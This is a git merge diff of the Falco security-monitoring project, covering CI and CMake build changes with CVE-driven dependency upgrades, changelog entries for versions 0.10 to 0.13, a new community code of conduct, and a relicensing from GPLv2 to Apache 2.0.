Merge branch 'dev'

Noting new features and bumping version.

.travis.yml

@@ -1,4 +1,22 @@
-language: c
+#
+# Copyright (C) 2016-2018 Draios Inc dba Sysdig.
+#
+# This file is part of falco .
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#     http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+#
+language: cpp
+compiler: gcc
 env:
     - BUILD_TYPE=Debug
     - BUILD_TYPE=Release
@@ -6,17 +24,16 @@ sudo: required
 services:
     - docker
 before_install:
-    - sudo add-apt-repository -y ppa:ubuntu-toolchain-r/test
     - sudo apt-get update
 install:
-    - sudo apt-get --force-yes install g++-4.8
-    - sudo apt-get install rpm linux-headers-$(uname -r)
+    - sudo apt-get install rpm linux-headers-$(uname -r) libelf-dev
     - git clone https://github.com/draios/sysdig.git ../sysdig
     - sudo apt-get install -y python-pip libvirt-dev jq dkms
     - cd ..
     - curl -Lo avocado-36.0-tar.gz https://github.com/avocado-framework/avocado/archive/36.0lts.tar.gz
     - tar -zxvf avocado-36.0-tar.gz
     - cd avocado-36.0lts
+    - sed -e 's/libvirt-python>=1.2.9/libvirt-python>=1.2.9,<4.1.0/' < requirements.txt  > /tmp/requirements.txt && mv /tmp/requirements.txt ./requirements.txt
     - sudo -H pip install -r requirements.txt
     - sudo python setup.py install
     - cd ../falco
@@ -24,8 +41,6 @@ before_script:
     - export KERNELDIR=/lib/modules/$(uname -r)/build
 script:
     - set -e
-    - export CC="gcc-4.8"
-    - export CXX="g++-4.8"
     - mkdir build
     - cd build
     - cmake .. -DCMAKE_BUILD_TYPE=$BUILD_TYPE -DDRAIOS_DEBUG_FLAGS="-D_DEBUG -DNDEBUG"

CHANGELOG.md

@@ -2,6 +2,158 @@
 
 This file documents all notable changes to Falco. The release numbering uses [semantic versioning](http://semver.org).
 
+## v0.13.0
+
+Released 2018-11-09
+
+## Major Changes
+
+* **Support for K8s Audit Events** : Falco now supports [K8s Audit Events](https://kubernetes.io/docs/tasks/debug-application-cluster/audit/#audit-backends) as a second stream of events in addition to syscalls. For full details on the feature, see the [wiki](https://github.com/falcosecurity/falco/wiki/K8s-Audit-Event-Support).
+
+* Transparent Config/Rule Reloading: On SIGHUP, Falco will now reload all config files/rules files and start processing new events. Allows rules changes without having to restart falco [[#457](https://github.com/falcosecurity/falco/pull/457)] [[#432](https://github.com/falcosecurity/falco/issues/432)]
+
+## Minor Changes
+
+* The reference integration of falco into a action engine now supports aws actions like lambda, etc. [[#460](https://github.com/falcosecurity/falco/pull/460)]
+
+* Add netcat to falco docker images, which allows easier integration of program outputs to external servers [[#456](https://github.com/falcosecurity/falco/pull/456)] [[#433](https://github.com/falcosecurity/falco/issues/433)]
+
+## Bug Fixes
+
+* Links cleanup related to the draios/falco -> falcosecurity/falco move [[#447](https://github.com/falcosecurity/falco/pull/447)]
+
+* Properly load/unload kernel module when the falco service is started/stopped [[#459](https://github.com/falcosecurity/falco/pull/459)] [[#418](https://github.com/falcosecurity/falco/issues/418)]
+
+## Rule Changes
+
+* Better coverage (e.g. reduced FPs) for critical stack, hids systems, ufw, cloud-init, etc. [[#445](https://github.com/falcosecurity/falco/pull/445)]
+
+* New rules `Launch Package Management Process in Container`, `Netcat Remote Code Execution in Container`, and `Lauch Suspicious Network Tool in Container` look for running various suspicious programs in a container. [[#461](https://github.com/falcosecurity/falco/pull/461)]
+
+* Misc changes to address false positives in GKE, Istio, etc. [[#455](https://github.com/falcosecurity/falco/pull/455)] [[#439](https://github.com/falcosecurity/falco/issues/439)]
+
+## v0.12.1
+
+Released 2018-09-11
+
+## Bug Fixes
+
+* Fig regression in libcurl configure script [[#416](https://github.com/draios/falco/pull/416)]
+
+## v0.12.0
+
+Released 2018-09-11
+
+## Major Changes
+
+* Improved IPv6 Support to fully support use of IPv6 addresses in events, connections and filters [[#sysdig/1204](https://github.com/draios/sysdig/pull/1204)]
+
+* Ability to associate connections with dns names: new filterchecks `fd.*ip.name` allow looking up the DNS name for a connection's IP address. This can be used to identify or restrict connections by dns names e.g. `evt.type=connect and fd.sip.name=github.com`. [[#412](https://github.com/draios/falco/pull/412)] [[#sysdig/1213](https://github.com/draios/sysdig/pull/1213)]
+
+* New filterchecks `user.loginuid` and `user.loginname` can be used to match the login uid, which stays consistent across sudo/su. This can be used to find the actual user running a given process [[#sysdig/1189](https://github.com/draios/sysdig/pull/1189)]
+
+## Minor Changes
+
+* Upgrade zlib to 1.2.11, openssl to 1.0.2n, and libcurl to 7.60.0 to address software vulnerabilities [[#402](https://github.com/draios/falco/pull/402)]
+* New `endswith` operator can be used for suffix matching on strings [[#sysdig/1209](https://github.com/draios/sysdig/pull/1209)]
+
+## Bug Fixes
+
+* Better control of specifying location of lua source code [[#406](https://github.com/draios/falco/pull/406)]
+
+## Rule Changes
+
+* None for this release.
+
+## v0.11.1
+
+Released 2018-07-31
+
+## Bug Fixes
+
+* Fix a problem that caused the kernel module to not load on certain kernel versions [[#397](https://github.com/draios/falco/pull/397)] [[#394](https://github.com/draios/falco/issues/394)]
+
+## v0.11.0
+
+Released 2018-07-24
+
+## Major Changes
+
+* **EBPF Support** (Beta): Falco can now read events via an ebpf program loaded into the kernel instead of the `falco-probe` kernel module. Full docs [here](https://github.com/draios/sysdig/wiki/eBPF-(beta)). [[#365](https://github.com/draios/falco/pull/365)]
+
+## Minor Changes
+
+* Rules may now have an `skip-if-unknown-filter` property. If set to true, a rule will be skipped if its condition/output property refers to a filtercheck (e.g. `fd.some-new-attibute`) that is not present in the current falco version. [[#364](https://github.com/draios/falco/pull/364)] [[#345](https://github.com/draios/falco/issues/345)]
+* Small changes to Falco `COPYING` file so github automatically recognizes license [[#380](https://github.com/draios/falco/pull/380)]
+* New example integration showing how to connect Falco with Anchore to dynamically create falco rules based on negative scan results [[#390](https://github.com/draios/falco/pull/390)]
+* New example integration showing how to connect Falco, [nats](https://nats.io/), and K8s to run flexible "playbooks" based on Falco events [[#389](https://github.com/draios/falco/pull/389)]
+
+## Bug Fixes
+
+* Ensure all rules are enabled by default [[#379](https://github.com/draios/falco/pull/379)]
+* Fix libcurl compilation problems [[#374](https://github.com/draios/falco/pull/374)]
+* Add gcc-6 to docker container, which improves compatibility when building kernel module [[#382](https://github.com/draios/falco/pull/382)] [[#371](https://github.com/draios/falco/issues/371)]
+* Ensure the /lib/modules symlink to /host/lib/modules is set correctly [[#392](https://github.com/draios/falco/issues/392)]
+
+## Rule Changes
+
+* Add additional binary writing programs [[#366](https://github.com/draios/falco/pull/366)]
+* Add additional package management programs [[#388](https://github.com/draios/falco/pull/388)] [[#366](https://github.com/draios/falco/pull/366)]
+* Expand write_below_etc handling for additional programs [[#388](https://github.com/draios/falco/pull/388)] [[#366](https://github.com/draios/falco/pull/366)]
+* Expand set of programs allowed to write to `/etc/pki` [[#388](https://github.com/draios/falco/pull/388)]
+* Expand set of root written directories/files [[#388](https://github.com/draios/falco/pull/388)] [[#366](https://github.com/draios/falco/pull/366)]
+* Let pam-config read sensitive files [[#388](https://github.com/draios/falco/pull/388)]
+* Add additional trusted containers: openshift, datadog, docker ucp agent, gliderlabs logspout [[#388](https://github.com/draios/falco/pull/388)]
+* Let coreos update-ssh-keys write to /home/core/.ssh [[#388](https://github.com/draios/falco/pull/388)]
+* Expand coverage for MS OMS [[#388](https://github.com/draios/falco/issues/388)] [[#387](https://github.com/draios/falco/issues/387)]
+* Expand the set of shell spawning programs [[#366](https://github.com/draios/falco/pull/366)]
+* Add additional mysql programs/directories [[#366](https://github.com/draios/falco/pull/366)]
+* Let program `id` open network connections [[#366](https://github.com/draios/falco/pull/366)]
+* Opt-in rule for protecting tomcat shell spawns [[#366](https://github.com/draios/falco/pull/366)]
+* New rule `Write below monitored directory` [[#366](https://github.com/draios/falco/pull/366)]
+
+## v0.10.0
+
+Released 2018-04-24
+
+## Major Changes
+
+* **Rules Directory Support**: Falco will read rules files from `/etc/falco/rules.d` in addition to `/etc/falco/falco_rules.yaml` and `/etc/falco/falco_rules.local.yaml`. Also, when the argument to `-r`/falco.yaml `rules_file` is a directory, falco will read rules files from that directory. [[#348](https://github.com/draios/falco/pull/348)] [[#187](https://github.com/draios/falco/issues/187)]
+* Properly support all syscalls (e.g. those without parameter extraction by the kernel module) in falco conditions, so they can be included in `evt.type=<name>` conditions. [[#352](https://github.com/draios/falco/pull/352)]
+* When packaged as a container, start building kernel module with gcc 5.0 instead of gcc 4.9. [[#331](https://github.com/draios/falco/pull/331)]
+* New example puppet module for falco. [[#341](https://github.com/draios/falco/pull/341)] [[#115](https://github.com/draios/falco/issues/115)]
+* When signaled with `USR1`, falco will close/reopen log files. Include a [logrotate](https://github.com/logrotate/logrotate) example that shows how to use this feature for log rotation. [[#347](https://github.com/draios/falco/pull/347)] [[#266](https://github.com/draios/falco/issues/266)]
+* To improve resource usage, further restrict the set of system calls available to falco [[#351](https://github.com/draios/falco/pull/351)] [[draios/sysdig#1105](https://github.com/draios/sysdig/pull/1105)]
+
+## Minor Changes
+
+* Add gdb to the development Docker image (sysdig/falco:dev) to aid in debugging. [[#323](https://github.com/draios/falco/pull/323)]
+* You can now specify -V multiple times on the command line to validate multiple rules files at once. [[#329](https://github.com/draios/falco/pull/329)]
+* When run with `-v`, falco will print *dangling* macros/lists that are not used by any rules. [[#329](https://github.com/draios/falco/pull/329)]
+* Add an example demonstrating cryptomining attack that exploits an open docker daemon using host mounts. [[#336](https://github.com/draios/falco/pull/336)]
+* New falco.yaml option `json_include_output_property` controls whether the formatted string "output" is included in the json object when json output is enabled. [[#342](https://github.com/draios/falco/pull/342)]
+* Centralize testing event types for consideration by falco into a single function [[draios/sysdig#1105](https://github.com/draios/sysdig/pull/1105)) [[#356](https://github.com/draios/falco/pull/356)]
+* If a rule has an attribute `warn_evttypes`, falco will not complain about `evt.type` restrictions on that rule [[#355](https://github.com/draios/falco/pull/355)]
+* When run with `-i`, print all ignored events/syscalls and exit. [[#359](https://github.com/draios/falco/pull/359)]
+
+## Bug Fixes
+
+* Minor bug fixes to k8s daemonset configuration. [[#325](https://github.com/draios/falco/pull/325)] [[#296](https://github.com/draios/falco/pull/296)] [[#295](https://github.com/draios/falco/pull/295)]
+* Ensure `--validate` can be used interchangeably with `-V`. [[#334](https://github.com/draios/falco/pull/334)] [[#322](https://github.com/draios/falco/issues/322)]
+* Rule conditions like `fd.net` can now be used with the `in` operator e.g. `evt.type=connect and fd.net in ("127.0.0.1/24")`. [[draios/sysdig#1091](https://github.com/draios/sysdig/pull/1091)] [[#343](https://github.com/draios/falco/pull/343)]
+* Ensure that `keep_alive` can be used both with file and program output at the same time. [[#335](https://github.com/draios/falco/pull/335)]
+* Make it possible to append to a skipped macro/rule without falco complaining [[#346](https://github.com/draios/falco/pull/346)] [[#305](https://github.com/draios/falco/issues/305)]
+* Ensure rule order is preserved even when rules do not contain any `evt.type` restriction. [[#354](https://github.com/draios/falco/issues/354)] [[#355](https://github.com/draios/falco/pull/355)]
+
+## Rule Changes
+
+* Make it easier to extend the `Change thread namespace` rule via a `user_known_change_thread_namespace_binaries` list. [[#324](https://github.com/draios/falco/pull/324)]
+* Various FP fixes from users. [[#321](https://github.com/draios/falco/pull/321)] [[#326](https://github.com/draios/falco/pull/326)] [[#344](https://github.com/draios/falco/pull/344)] [[#350](https://github.com/draios/falco/pull/350)]
+* New rule `Disallowed SSH Connection` detects attempts ssh connection attempts to hosts outside of an expected set. In order to be effective, you need to override the macro `allowed_ssh_hosts` in a user rules file. [[#321](https://github.com/draios/falco/pull/321)]
+* New rule `Unexpected K8s NodePort Connection` detects attempts to contact the K8s NodePort range from a program running inside a container. In order to be effective, you need to override the macro `nodeport_containers` in a user rules file. [[#321](https://github.com/draios/falco/pull/321)]
+* Improve `Modify binary dirs` rule to work with new syscalls [[#353](https://github.com/draios/falco/pull/353)]
+* New rule `Unexpected UDP Traffic` checks for udp traffic not on a list of expected ports. Somewhat FP-prone, so it must be explicitly enabled by overriding the macro `do_unexpected_udp_check` in a user rules file. [[#320](https://github.com/draios/falco/pull/320)] [[#357](https://github.com/draios/falco/pull/357)]
+
 ## v0.9.0
 
 Released 2018-01-18

CMakeCPackOptions.cmake

@@ -1,3 +1,20 @@
+#
+# Copyright (C) 2016-2018 Draios Inc dba Sysdig.
+#
+# This file is part of falco .
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#     http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+#
 if(CPACK_GENERATOR MATCHES "DEB")
 	list(APPEND CPACK_INSTALL_COMMANDS "mkdir -p _CPack_Packages/${CPACK_TOPLEVEL_TAG}/${CPACK_GENERATOR}/${CPACK_PACKAGE_FILE_NAME}/etc/init.d/")
 	list(APPEND CPACK_INSTALL_COMMANDS "cp scripts/debian/falco _CPack_Packages/${CPACK_TOPLEVEL_TAG}/${CPACK_GENERATOR}/${CPACK_PACKAGE_FILE_NAME}/etc/init.d")

CMakeLists.txt

@@ -1,3 +1,20 @@
+#
+# Copyright (C) 2016-2018 Draios Inc dba Sysdig.
+#
+# This file is part of falco .
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#     http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+#
 cmake_minimum_required(VERSION 2.8.2)
 
 project(falco)
@@ -78,8 +95,10 @@ else()
         set(ZLIB_INCLUDE "${ZLIB_SRC}")
         set(ZLIB_LIB "${ZLIB_SRC}/libz.a")
         ExternalProject_Add(zlib
-		URL "http://s3.amazonaws.com/download.draios.com/dependencies/zlib-1.2.8.tar.gz"
-		URL_MD5 "44d667c142d7cda120332623eab69f40"
+		# START CHANGE for CVE-2016-9840, CVE-2016-9841, CVE-2016-9842, CVE-2016-9843
+		URL "http://s3.amazonaws.com/download.draios.com/dependencies/zlib-1.2.11.tar.gz"
+                URL_MD5 "1c9f62f0778697a09d36121ead88e08e"
+		# END CHANGE for CVE-2016-9840, CVE-2016-9841, CVE-2016-9842, CVE-2016-9843
 		CONFIGURE_COMMAND "./configure"
 		BUILD_COMMAND ${CMD_MAKE}
 		BUILD_IN_SOURCE 1
@@ -117,6 +136,32 @@ set(JSONCPP_SRC "${SYSDIG_DIR}/userspace/libsinsp/third-party/jsoncpp")
 set(JSONCPP_INCLUDE "${JSONCPP_SRC}")
 set(JSONCPP_LIB_SRC "${JSONCPP_SRC}/jsoncpp.cpp")
 
+#
+# nlohmann-json
+#
+option(USE_BUNDLED_NJSON "Enable building of the bundled nlohmann-json" ${USE_BUNDLED_DEPS})
+
+if(NOT USE_BUNDLED_NJSON)
+	find_path(NJSON_INCLUDE json.hpp PATH_SUFFIXES nlohmann)
+	if(NJSON_INCLUDE)
+		message(STATUS "Found nlohmann-json: include: ${NJSON_INCLUDE}")
+	else()
+		message(FATAL_ERROR "Couldn't find system nlohmann-json")
+	endif()
+else()
+	# No distinction needed for windows. The implementation is
+	# solely in json.hpp.
+	set(NJSON_SRC "${PROJECT_BINARY_DIR}/njson-prefix/src/njson")
+	message(STATUS "Using bundled nlohmann-json in '${NJSON_SRC}'")
+	set(NJSON_INCLUDE "${NJSON_SRC}/single_include")
+	ExternalProject_Add(njson
+		URL "http://download.draios.com/dependencies/njson-3.3.0.tar.gz"
+		URL_MD5 "e26760e848656a5da400662e6c5d999a"
+		CONFIGURE_COMMAND ""
+		BUILD_COMMAND ""
+		INSTALL_COMMAND "")
+endif()
+
 #
 # curses
 #
@@ -215,8 +260,10 @@ else()
 	message(STATUS "Using bundled openssl in '${OPENSSL_BUNDLE_DIR}'")
 
 	ExternalProject_Add(openssl
-		URL "http://s3.amazonaws.com/download.draios.com/dependencies/openssl-1.0.2j.tar.gz"
-		URL_MD5 "96322138f0b69e61b7212bc53d5e912b"
+		# START CHANGE for CVE-2017-3735, CVE-2017-3731, CVE-2017-3737, CVE-2017-3738, CVE-2017-3736
+		URL "http://s3.amazonaws.com/download.draios.com/dependencies/openssl-1.0.2n.tar.gz"
+                URL_MD5 "13bdc1b1d1ff39b6fd42a255e74676a4"
+		# END CHANGE for CVE-2017-3735, CVE-2017-3731, CVE-2017-3737, CVE-2017-3738, CVE-2017-3736
 		CONFIGURE_COMMAND ./config shared --prefix=${OPENSSL_INSTALL_DIR}
 		BUILD_COMMAND ${CMD_MAKE}
 		BUILD_IN_SOURCE 1
@@ -246,8 +293,10 @@ else()
 
 	ExternalProject_Add(curl
 		DEPENDS openssl
-		URL "http://s3.amazonaws.com/download.draios.com/dependencies/curl-7.56.0.tar.bz2"
-		URL_MD5 "e0caf257103e0c77cee5be7e9ac66ca4"
+		# START CHANGE for CVE-2017-8816, CVE-2017-8817, CVE-2017-8818, CVE-2018-1000007
+		URL "http://s3.amazonaws.com/download.draios.com/dependencies/curl-7.61.0.tar.bz2"
+		URL_MD5 "31d0a9f48dc796a7db351898a1e5058a"
+		# END CHANGE for CVE-2017-8816, CVE-2017-8817, CVE-2017-8818, CVE-2018-1000007
 		CONFIGURE_COMMAND ./configure ${CURL_SSL_OPTION} --disable-shared --enable-optimize --disable-curldebug --disable-rt --enable-http --disable-ftp --disable-file --disable-ldap --disable-ldaps --disable-rtsp --disable-telnet --disable-tftp --disable-pop3 --disable-imap --disable-smb --disable-smtp --disable-gopher --disable-sspi --disable-ntlm-wb --disable-tls-srp --without-winssl --without-darwinssl --without-polarssl --without-cyassl --without-nss --without-axtls --without-ca-path --without-ca-bundle --without-libmetalink --without-librtmp --without-winidn --without-libidn --without-nghttp2 --without-libssh2 --disable-threaded-resolver
 		BUILD_COMMAND ${CMD_MAKE}
 		BUILD_IN_SOURCE 1
@@ -389,6 +438,66 @@ else()
                 INSTALL_COMMAND sh -c "cp -R ${PROJECT_BINARY_DIR}/lyaml-prefix/src/lyaml/lib/* ${PROJECT_SOURCE_DIR}/userspace/engine/lua")
 endif()
 
+option(USE_BUNDLED_TBB "Enable building of the bundled tbb" ${USE_BUNDLED_DEPS})
+if(NOT USE_BUNDLED_TBB)
+	find_path(TBB_INCLUDE tbb.h PATH_SUFFIXES tbb)
+	find_library(TBB_LIB NAMES tbb)
+	if(TBB_INCLUDE AND TBB_LIB)
+		message(STATUS "Found tbb: include: ${TBB_INCLUDE}, lib: ${TBB_LIB}")
+	else()
+		message(FATAL_ERROR "Couldn't find system tbb")
+	endif()
+else()
+	set(TBB_SRC "${PROJECT_BINARY_DIR}/tbb-prefix/src/tbb")
+
+	message(STATUS "Using bundled tbb in '${TBB_SRC}'")
+
+	set(TBB_INCLUDE "${TBB_SRC}/include/")
+	set(TBB_LIB "${TBB_SRC}/build/lib_release/libtbb.a")
+	ExternalProject_Add(tbb
+		URL "http://s3.amazonaws.com/download.draios.com/dependencies/tbb-2018_U5.tar.gz"
+		URL_MD5 "ff3ae09f8c23892fbc3008c39f78288f"
+		CONFIGURE_COMMAND ""
+		BUILD_COMMAND ${CMD_MAKE} tbb_build_dir=${TBB_SRC}/build tbb_build_prefix=lib extra_inc=big_iron.inc
+		BUILD_IN_SOURCE 1
+		BUILD_BYPRODUCTS ${TBB_LIB}
+		INSTALL_COMMAND "")
+endif()
+
+#
+# civetweb
+#
+option(USE_BUNDLED_CIVETWEB "Enable building of the bundled civetweb" ${USE_BUNDLED_DEPS})
+
+if(NOT USE_BUNDLED_CIVETWEB)
+	find_library(CIVETWEB_LIB NAMES civetweb)
+	if(CIVETWEB_LIB)
+		message(STATUS "Found civetweb: lib: ${CIVETWEB_LIB}")
+	else()
+		message(FATAL_ERROR "Couldn't find system civetweb")
+	endif()
+else()
+	set(CIVETWEB_SRC "${PROJECT_BINARY_DIR}/civetweb-prefix/src/civetweb/")
+	set(CIVETWEB_LIB "${CIVETWEB_SRC}/install/lib/libcivetweb.a")
+	set(CIVETWEB_INCLUDE_DIR "${CIVETWEB_SRC}/install/include")
+	message(STATUS "Using bundled civetweb in '${CIVETWEB_SRC}'")
+	set(CIVETWEB_DEPENDENCIES "")
+	if(USE_BUNDLED_OPENSSL)
+	 	list(APPEND CIVETWEB_DEPENDENCIES "openssl")
+	endif()
+	ExternalProject_Add(civetweb
+		DEPENDS ${CIVETWEB_DEPENDENCIES}
+		URL "http://s3.amazonaws.com/download.draios.com/dependencies/civetweb-1.11.tar.gz"
+                URL_MD5 "b6d2175650a27924bccb747cbe084cd4"
+		CONFIGURE_COMMAND ${CMAKE_COMMAND} -E make_directory ${CIVETWEB_SRC}/install/lib
+		          COMMAND ${CMAKE_COMMAND} -E make_directory ${CIVETWEB_SRC}/install/include
+                BUILD_IN_SOURCE 1
+                BUILD_COMMAND ${CMD_MAKE} COPT="-DNO_FILES" WITH_CPP=1
+		INSTALL_COMMAND ${CMD_MAKE} install-lib install-headers PREFIX=${CIVETWEB_SRC}/install WITH_CPP=1)
+endif()
+
+
+
 install(FILES falco.yaml
 	DESTINATION "${FALCO_ETC_DIR}")
 
@@ -427,7 +536,7 @@ set(CPACK_DEBIAN_PACKAGE_HOMEPAGE "http://www.sysdig.org")
 set(CPACK_DEBIAN_PACKAGE_DEPENDS "dkms (>= 2.1.0.0)")
 set(CPACK_DEBIAN_PACKAGE_CONTROL_EXTRA "${CMAKE_BINARY_DIR}/scripts/debian/postinst;${CMAKE_BINARY_DIR}/scripts/debian/prerm;${PROJECT_SOURCE_DIR}/scripts/debian/postrm;${PROJECT_SOURCE_DIR}/cpack/debian/conffiles")
 
-set(CPACK_RPM_PACKAGE_LICENSE "GPLv2")
+set(CPACK_RPM_PACKAGE_LICENSE "Apache v2.0")
 set(CPACK_RPM_PACKAGE_URL "http://www.sysdig.org")
 set(CPACK_RPM_PACKAGE_REQUIRES "dkms, gcc, make, kernel-devel, perl")
 set(CPACK_RPM_POST_INSTALL_SCRIPT_FILE "${PROJECT_SOURCE_DIR}/scripts/rpm/postinstall")

CODE_OF_CONDUCT

@@ -0,0 +1,39 @@
+## CNCF Community Code of Conduct v1.0
+
+### Contributor Code of Conduct
+
+As contributors and maintainers of this project, and in the interest of fostering
+an open and welcoming community, we pledge to respect all people who contribute
+through reporting issues, posting feature requests, updating documentation,
+submitting pull requests or patches, and other activities.
+
+We are committed to making participation in this project a harassment-free experience for
+everyone, regardless of level of experience, gender, gender identity and expression,
+sexual orientation, disability, personal appearance, body size, race, ethnicity, age,
+religion, or nationality.
+
+Examples of unacceptable behavior by participants include:
+
+* The use of sexualized language or imagery
+* Personal attacks
+* Trolling or insulting/derogatory comments
+* Public or private harassment
+* Publishing other's private information, such as physical or electronic addresses,
+ without explicit permission
+* Other unethical or unprofessional conduct.
+
+Project maintainers have the right and responsibility to remove, edit, or reject
+comments, commits, code, wiki edits, issues, and other contributions that are not
+aligned to this Code of Conduct. By adopting this Code of Conduct, project maintainers
+commit themselves to fairly and consistently applying these principles to every aspect
+of managing this project. Project maintainers who do not follow or enforce the Code of
+Conduct may be permanently removed from the project team.
+
+This code of conduct applies both within project spaces and in public spaces
+when an individual is representing the project or its community.
+
+Instances of abusive, harassing, or otherwise unacceptable behavior may be reported by contacting a CNCF project maintainer, Sarah Novotny <sarahnovotny@google.com>, and/or Dan Kohn <dan@linuxfoundation.org>.
+
+This Code of Conduct is adapted from the Contributor Covenant
+(http://contributor-covenant.org), version 1.2.0, available at
+http://contributor-covenant.org/version/1/2/0/

COPYING

@@ -1,351 +1,202 @@
-                    GNU GENERAL PUBLIC LICENSE
-                       Version 2, June 1991
 
- Copyright (C) 1989, 1991 Free Software Foundation, Inc.,
- 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA
- Everyone is permitted to copy and distribute verbatim copies
- of this license document, but changing it is not allowed.
+                                 Apache License
+                           Version 2.0, January 2004
+                        http://www.apache.org/licenses/
 
-                            Preamble
+   TERMS AND CONDITIONS FOR USE, REPRODUCTION, AND DISTRIBUTION
 
-  The licenses for most software are designed to take away your
-freedom to share and change it.  By contrast, the GNU General Public
-License is intended to guarantee your freedom to share and change free
-software--to make sure the software is free for all its users.  This
-General Public License applies to most of the Free Software
-Foundation's software and to any other program whose authors commit to
-using it.  (Some other Free Software Foundation software is covered by
-the GNU Lesser General Public License instead.)  You can apply it to
-your programs, too.
+   1. Definitions.
 
-  When we speak of free software, we are referring to freedom, not
-price.  Our General Public Licenses are designed to make sure that you
-have the freedom to distribute copies of free software (and charge for
-this service if you wish), that you receive source code or can get it
-if you want it, that you can change the software or use pieces of it
-in new free programs; and that you know you can do these things.
+      "License" shall mean the terms and conditions for use, reproduction,
+      and distribution as defined by Sections 1 through 9 of this document.
 
-  To protect your rights, we need to make restrictions that forbid
-anyone to deny you these rights or to ask you to surrender the rights.
-These restrictions translate to certain responsibilities for you if you
-distribute copies of the software, or if you modify it.
+      "Licensor" shall mean the copyright owner or entity authorized by
+      the copyright owner that is granting the License.
 
-  For example, if you distribute copies of such a program, whether
-gratis or for a fee, you must give the recipients all the rights that
-you have.  You must make sure that they, too, receive or can get the
-source code.  And you must show them these terms so they know their
-rights.
+      "Legal Entity" shall mean the union of the acting entity and all
+      other entities that control, are controlled by, or are under common
+      control with that entity. For the purposes of this definition,
+      "control" means (i) the power, direct or indirect, to cause the
+      direction or management of such entity, whether by contract or
+      otherwise, or (ii) ownership of fifty percent (50%) or more of the
+      outstanding shares, or (iii) beneficial ownership of such entity.
 
-  We protect your rights with two steps: (1) copyright the software, and
-(2) offer you this license which gives you legal permission to copy,
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+      "You" (or "Your") shall mean an individual or Legal Entity
+      exercising permissions granted by this License.
 
-  Also, for each author's protection and ours, we want to make certain
-that everyone understands that there is no warranty for this free
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-want its recipients to know that what they have is not the original, so
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+      "Source" form shall mean the preferred form for making modifications,
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-  Finally, any free program is threatened constantly by software
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-  The precise terms and conditions for copying, distribution and
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+      "Work" shall mean the work of authorship, whether in Source or
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+      (an example is provided in the Appendix below).
 
-                    GNU GENERAL PUBLIC LICENSE
-   TERMS AND CONDITIONS FOR COPYING, DISTRIBUTION AND MODIFICATION
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+      the Work and Derivative Works thereof.
 
-  0. This License applies to any program or other work which contains
-a notice placed by the copyright holder saying it may be distributed
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+      "Contribution" shall mean any work of authorship, including
+      the original version of the Work and any modifications or additions
+      to that Work or Derivative Works thereof, that is intentionally
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+      to the Licensor or its representatives, including but not limited to
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+      designated in writing by the copyright owner as "Not a Contribution."
 
-Activities other than copying, distribution and modification are not
-covered by this License; they are outside its scope.  The act of
-running the Program is not restricted, and the output from the Program
-is covered only if its contents constitute a work based on the
-Program (independent of having been made by running the Program).
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+      "Contributor" shall mean Licensor and any individual or Legal Entity
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+      subsequently incorporated within the Work.
 
-  1. You may copy and distribute verbatim copies of the Program's
-source code as you receive it, in any medium, provided that you
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-notices that refer to this License and to the absence of any warranty;
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-along with the Program.
+   2. Grant of Copyright License. Subject to the terms and conditions of
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-  2. You may modify your copy or copies of the Program or any portion
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-    a) You must cause the modified files to carry prominent notices
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+          Derivative Works a copy of this License; and
 
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-    whole or in part contains or is derived from the Program or any
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+      (b) You must cause any modified files to carry prominent notices
+          stating that You changed the files; and
 
-    c) If the modified program normally reads commands interactively
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+      (c) You must retain, in the Source form of any Derivative Works
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-These requirements apply to the modified work as a whole.  If
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+      (d) If the Work includes a "NOTICE" text file as part of its
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+          of the NOTICE file are for informational purposes only and
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-Thus, it is not the intent of this section to claim rights or contest
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+      You may add Your own copyright statement to Your modifications and
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+      for any such Derivative Works as a whole, provided Your use,
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+      the conditions stated in this License.
 
-In addition, mere aggregation of another work not based on the Program
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-a storage or distribution medium does not bring the other work under
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+   5. Submission of Contributions. Unless You explicitly state otherwise,
+      any Contribution intentionally submitted for inclusion in the Work
+      by You to the Licensor shall be under the terms and conditions of
+      this License, without any additional terms or conditions.
+      Notwithstanding the above, nothing herein shall supersede or modify
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-  3. You may copy and distribute the Program (or a work based on it,
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+   6. Trademarks. This License does not grant permission to use the trade
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-    a) Accompany it with the complete corresponding machine-readable
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+      agreed to in writing, Licensor provides the Work (and each
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+      the Work or Derivative Works thereof, You may choose to offer,
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+      License. However, in accepting such obligations, You may act only
+      on Your own behalf and on Your sole responsibility, not on behalf
+      of any other Contributor, and only if You agree to indemnify,
+      defend, and hold each Contributor harmless for any liability
+      incurred by, or claims asserted against, such Contributor by reason
+      of your accepting any such warranty or additional liability.
 
-The source code for a work means the preferred form of the work for
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-itself accompanies the executable.
+   END OF TERMS AND CONDITIONS
 
-If distribution of executable or object code is made by offering
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-access to copy the source code from the same place counts as
-distribution of the source code, even though third parties are not
-compelled to copy the source along with the object code.
+   APPENDIX: How to apply the Apache License to your work.
 
-  4. You may not copy, modify, sublicense, or distribute the Program
-except as expressly provided under this License.  Any attempt
-otherwise to copy, modify, sublicense or distribute the Program is
-void, and will automatically terminate your rights under this License.
-However, parties who have received copies, or rights, from you under
-this License will not have their licenses terminated so long as such
-parties remain in full compliance.
+      To apply the Apache License to your work, attach the following
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+      replaced with your own identifying information. (Don't include
+      the brackets!)  The text should be enclosed in the appropriate
+      comment syntax for the file format. We also recommend that a
+      file or class name and description of purpose be included on the
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+      identification within third-party archives.
 
